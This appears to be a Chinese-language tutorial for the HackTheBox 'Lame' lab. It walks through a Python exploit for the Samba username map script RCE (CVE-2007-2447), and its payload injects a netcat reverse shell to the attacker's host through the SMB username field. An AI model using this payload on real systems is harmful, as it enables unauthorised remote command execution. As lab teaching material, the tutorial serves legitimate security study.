原始漏洞利用:https://www.exploit-db.com/exploits/16320
漏洞利用名称: Samba username map script RCE
CVE: 2007-2447
靶机: Lame - HackTheBox
在低于 3.0.25 的 Samba 版本中存在一个漏洞,攻击者可以通过向 SMB 服务器发送畸形的请求作为用户名来执行系统命令。
以下是使用 nohup 命令创建目录的示例:

从编程角度来说,/= 表示除法赋值运算符,通常用于循环中。但为什么我们需要在这里使用它?
使用它的原因是在发送请求时分割域字段和用户名字段,更好的解释可以在这里找到。
我们使用用户名字段打开一个 netcat 连接并连接到我们的服务器。
编写漏洞利用非常简单,因为 Python 已经有了一个 SMB 客户端库(安装 python3-samba 包),所以你只需要像这样使用它:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
让我们理解 SMBConnection 是如何工作的,我提供了 username,但另外三个空字符串是什么?
那三个参数是:password、my_name 和 remote_name
为了使我们的漏洞利用代码易于阅读,我们可以显式地写出它们及其值,但 username 之后的参数值不是必需的:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
接下来的部分更容易理解,我们使用 SMBConnection 类的实例建立连接,并提供目标 IP、端口和超时时间(秒):
conn.connect(rhost, rport, timeout=10)
在这次漏洞利用开发课程中,你学习了如何创建一个 SMB 客户端并连接到 SMB 服务器。你还学习了一些 Linux 命令,例如 nohup,之后可以尝试实验。你学习了如何使用 netcat 从受害机器连接到攻击者机器,这在你的漏洞利用开发旅程中可能会派上用场。